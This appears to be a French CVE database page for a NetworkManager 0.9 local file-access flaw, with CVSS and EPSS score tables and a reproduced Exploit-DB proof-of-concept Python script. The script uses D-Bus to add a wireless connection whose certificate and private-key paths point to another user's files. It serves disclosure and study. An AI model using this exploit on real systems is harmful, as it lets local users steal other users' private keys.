CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
NetworkManager 0.9 and earlier allows local users to use other users' certificates or private keys when making a connection via the file path when adding a new connection.
Improper Certificate Validation The product does not validate, or incorrectly validates, a certificate.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
5.5
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
4.9
AV:L/AC:L/Au:N/C:C/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.12%
–
–
2022-03-20
–
–
2.12%
–
–
2022-04-03
–
–
2.12%
–
–
2022-06-19
–
–
2.12%
–
–
2022-11-13
–
–
2.12%
–
–
2022-11-20
–
–
2.12%
–
–
2022-12-25
–
–
2.12%
–
–
2023-01-01
–
–
2.12%
–
–
2023-02-19
–
–
2.12%
–
–
2023-03-12
–
–
–
0.05%
–
2024-02-11
–
–
–
0.05%
–
2024-03-03
–
–
–
0.05%
–
2024-04-14
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-07-14
–
–
–
0.05%
–
2024-08-04
–
–
–
0.05%
–
2024-08-11
–
–
–
0.05%
–
2024-11-17
–
–
–
0.05%
–
2025-01-12
–
–
–
0.05%
–
2025-03-02
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-09
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.14%
2025-03-30
–
–
–
–
0.14%
2025-04-15
–
–
–
–
0.14%
2025-04-22
–
–
–
–
0.14%
2025-04-22
–
–
–
–
0.14,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2012-02-28 23h00 +00:00 Auteur : Ludwig EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/52206/info
GNOME NetworkManager is prone to a local arbitrary file-access vulnerability.
Local attackers can exploit this issue to read arbitrary files. This may lead to further attacks.
NetworkManager 0.6, 0.7, and 0.9 are vulnerable; other versions may also be affected.
#!/usr/bin/python
#
# Copyright (C) 2011 SUSE LINUX Products GmbH
#
# Author: Ludwig Nussel
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# version 2 as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
import gobject
import dbus
import dbus.service
import dbus.mainloop.glib
import os
import subprocess
def N_(x): return x
_debug_level = 0
def debug(level, msg):
if (level <= _debug_level):
print '<%d>'%level, msg
class NetworkManager(gobject.GObject):
NM_STATE = {
0: 'UNKNOWN',
10: 'UNMANAGED',
20: 'UNAVAILABLE',
30: 'DISCONNECTED',
40: 'PREPARE',
50: 'CONFIG',
60: 'NEED_AUTH',
70: 'IP_CONFIG',
80: 'IP_CHECK',
90: 'SECONDARIES',
100: 'ACTIVATED',
110: 'DEACTIVATING',
120: 'FAILED',
}
NM_DEVICE_TYPE = {
0: 'NM_DEVICE_TYPE_UNKNOWN', # The device type is unknown.
1: 'NM_DEVICE_TYPE_ETHERNET', # The device is wired Ethernet device.
2: 'NM_DEVICE_TYPE_WIFI', # The device is an 802.11 WiFi device.
3: 'NM_DEVICE_TYPE_UNUSED1', # Unused
4: 'NM_DEVICE_TYPE_UNUSED2', # Unused
5: 'NM_DEVICE_TYPE_BT', # The device is Bluetooth device that provides PAN or DUN capabilities.
6: 'NM_DEVICE_TYPE_OLPC_MESH', # The device is an OLPC mesh networking device.
7: 'NM_DEVICE_TYPE_WIMAX', # The device is an 802.16e Mobile WiMAX device.
8: 'NM_DEVICE_TYPE_MODEM', # The device is a modem supporting one or more of analog telephone, CDMA/EVDO, GSM/UMTS/HSPA, or LTE standards to access a cellular or wireline data network.
}
NM_802_11_AP_SEC = {
'NM_802_11_AP_SEC_NONE': 0x0, # Null flag.
'NM_802_11_AP_SEC_PAIR_WEP40': 0x1, # Access point supports pairwise 40-bit WEP encryption.
'NM_802_11_AP_SEC_PAIR_WEP104': 0x2, # Access point supports pairwise 104-bit WEP encryption.
'NM_802_11_AP_SEC_PAIR_TKIP': 0x4, # Access point supports pairwise TKIP encryption.
'NM_802_11_AP_SEC_PAIR_CCMP': 0x8, # Access point supports pairwise CCMP encryption.
'NM_802_11_AP_SEC_GROUP_WEP40': 0x10, # Access point supports a group 40-bit WEP cipher.
'NM_802_11_AP_SEC_GROUP_WEP104': 0x20, # Access point supports a group 104-bit WEP cipher.
'NM_802_11_AP_SEC_GROUP_TKIP': 0x40, # Access point supports a group TKIP cipher.
'NM_802_11_AP_SEC_GROUP_CCMP': 0x80, # Access point supports a group CCMP cipher.
'NM_802_11_AP_SEC_KEY_MGMT_PSK': 0x100, # Access point supports PSK key management.
'NM_802_11_AP_SEC_KEY_MGMT_802_1X': 0x200, # Access point supports 802.1x key management.
}
def __init__(self):
self.bus = dbus.SystemBus()
self.proxy = None
self.manager = None
self.running = False
self.devices = {}
self.devices_by_name = {}
self.aps = {}
self.ap_by_addr = {}
self.ap_by_ssid = {}
self.check_status()
self.bus.add_signal_receiver(
lambda name, old, new: self.nameowner_changed_handler(name, old, new),
bus_name='org.freedesktop.DBus',
dbus_interface='org.freedesktop.DBus',
signal_name='NameOwnerChanged')
self.bus.add_signal_receiver(
lambda device, **kwargs: self.device_add_rm(device, True, **kwargs),
bus_name='org.freedesktop.NetworkManager',
dbus_interface = 'org.freedesktop.NetworkManager',
signal_name = 'DeviceAdded',
sender_keyword = 'sender')
self.bus.add_signal_receiver(
lambda device, **kwargs: self.device_add_rm(device, False, **kwargs),
bus_name='org.freedesktop.NetworkManager',
dbus_interface = 'org.freedesktop.NetworkManager',
signal_name = 'DeviceRemoved',
sender_keyword = 'sender')
def cleanup(self):
self.switcher = None
def devstate2name(self, state):
if state in self.NM_STATE:
return self.NM_STATE[state]
return "UNKNOWN:%s"%state
def devtype2name(self, type):
if type in self.NM_DEVICE_TYPE:
return self.NM_DEVICE_TYPE[type]
return "UNKNOWN:%s"%type
def secflags2str(self, flags):
a = []
for key in self.NM_802_11_AP_SEC.keys():
if self.NM_802_11_AP_SEC[key] and flags&self.NM_802_11_AP_SEC[key]:
a.append(key[len('NM_802_11_AP_SEC_'):])
return ' '.join(a)
def nameowner_changed_handler(self, name, old, new):
if name != 'org.freedesktop.NetworkManager':
return
off = old and not new
self.check_status(off)
def device_add_rm(self, device, added, sender=None, **kwargs):
if (added):
dev = self.bus.get_object("org.freedesktop.NetworkManager", device)
props = dbus.Interface(dev, "org.freedesktop.DBus.Properties")
name = props.Get("org.freedesktop.NetworkManager.Device", "Interface")
devtype = props.Get("org.freedesktop.NetworkManager.Device", "DeviceType")
debug(0,"device %s, %s added"%(name, self.devtype2name(devtype)))
self.devices[device] = name
self.devices_by_name[name] = device
if devtype == 2:
wifi = dbus.Interface(dev, "org.freedesktop.NetworkManager.Device.Wireless")
aps = wifi.GetAccessPoints()
for path in aps:
ap = self.bus.get_object("org.freedesktop.NetworkManager", path)
props = dbus.Interface(ap, "org.freedesktop.DBus.Properties")
ssid_raw = props.Get("org.freedesktop.NetworkManager.AccessPoint", "Ssid")
addr = props.Get("org.freedesktop.NetworkManager.AccessPoint", "HwAddress")
wpaflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "WpaFlags")
rsnflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "RsnFlags")
ssid = ''
for b in ssid_raw:
if b > 20 and b < 126:
ssid += str(b)
else:
ssid += '0x%02x'%b
self.aps[path] = {
'Ssid' : ssid_raw,
'_ssid_readable' : ssid,
'HwAddress' : addr,
'WpaFlags' : wpaflags,
'RsnFlags' : rsnflags,
}
self.ap_by_addr[addr] = path
if not ssid in self.ap_by_ssid:
self.ap_by_ssid[ssid] = set({})
self.ap_by_ssid[ssid].add(path)
for ssid in sorted(self.ap_by_ssid.keys()):
print ssid
for path in self.ap_by_ssid[ssid]:
ap = self.aps[path]
print ' ', ap['HwAddress']
if ap['WpaFlags']:
print " WPA: ", self.secflags2str(ap['WpaFlags'])
if ap['RsnFlags']:
print " RSN: ", self.secflags2str(ap['RsnFlags'])
else:
if not device in self.devices:
debug(0, "got remove signal for unknown device %s removed"%device)
else:
name = self.devices[device]
del self.devices[device]
del self.devices_by_name[name]
debug(0,"device %s removed"%name)
def _connect_nm(self):
try:
self.proxy = self.bus.get_object("org.freedesktop.NetworkManager", "/org/freedesktop/NetworkManager")
self.manager = manager = dbus.Interface(self.proxy, "org.freedesktop.NetworkManager")
running = True
except dbus.DBusException, e:
running = False
print e
return running
def check_status(self, force_off=False):
if (force_off):
running = False
else:
running = self.running
if (not self.manager):
running = self._connect_nm()
if (running):
if (not self.running):
devices = self.manager.GetDevices()
for d in devices:
self.device_add_rm(d, True)
if (not running):
self.proxy = self.manager = None
self.running = running
debug(1,"NM Running: %s"%self.running)
def addcon(self, params, device, ap = '/'):
if device[0] != '/':
if not device in self.devices_by_name:
print "Error: device not known"
sys.exit(1)
device = self.devices_by_name[device]
if ap[0] != '/' and not 'ssid' in params['802-11-wireless']:
params['802-11-wireless']['ssid'] = [dbus.Byte(ord(c)) for c in ap]
if not ap in self.ap_by_ssid:
print "Warning: ssid not known"
ap = '/'
else:
ap = '/'
self.manager.AddAndActivateConnection(params, device, ap)
if __name__ == '__main__':
from optparse import OptionParser
parser = OptionParser(usage="%prog [options]")
parser.add_option('--debug', dest="debug", metavar='N',
action='store', type='int', default=0,
help="debug level")
(opts, args) = parser.parse_args()
if opts.debug:
_debug_level = opts.debug
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
mainloop = gobject.MainLoop()
bus = dbus.SystemBus()
nm = NetworkManager()
if len(args) == 0:
#mainloop.run()
True
elif args[0] == 'new':
conn = {
'connection': {
'permissions': [ 'user:joesix:' ],
'autoconnect': False,
'type': '802-11-wireless',
},
'802-11-wireless': {
#'ssid': [ dbus.Byte(ord(c)) for c in "something" ],
'mode': 'infrastructure',
'security': '802-11-wireless-security',
},
'802-1x': {
'eap': [ 'tls' ], # peap, ttls
'client-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cert.pem' ] + [ dbus.Byte(0) ],
'private-key': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/key.pem' ] + [ dbus.Byte(0) ],
'ca-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cacert.pem' ] + [ dbus.Byte(0) ],
'private-key-password': "12345",
#'ca-cert': 'hash://server/sha256/5336d308fa263f9f07325baae58ac972876f419527a9bf67c5ede3e668d3a925',
#'subject-match': '/CN=blah/emailAddress=foo@bar',
#'phase2-auth': 'mschapv2',
'identity': 'test1',
#'password': 'test1',
},
'802-11-wireless-security': {
'key-mgmt': 'wpa-eap',
'auth-alg': 'open',
},
}
dev = args[1]
ap = None
if len(args) > 2:
ap = args[2]
nm.addcon(conn, dev, ap)
# vim: sw=4 ts=8 noet
Products Mentioned
Configuraton 0
Gnome>>Networkmanager >> Version To (including) 0.9.0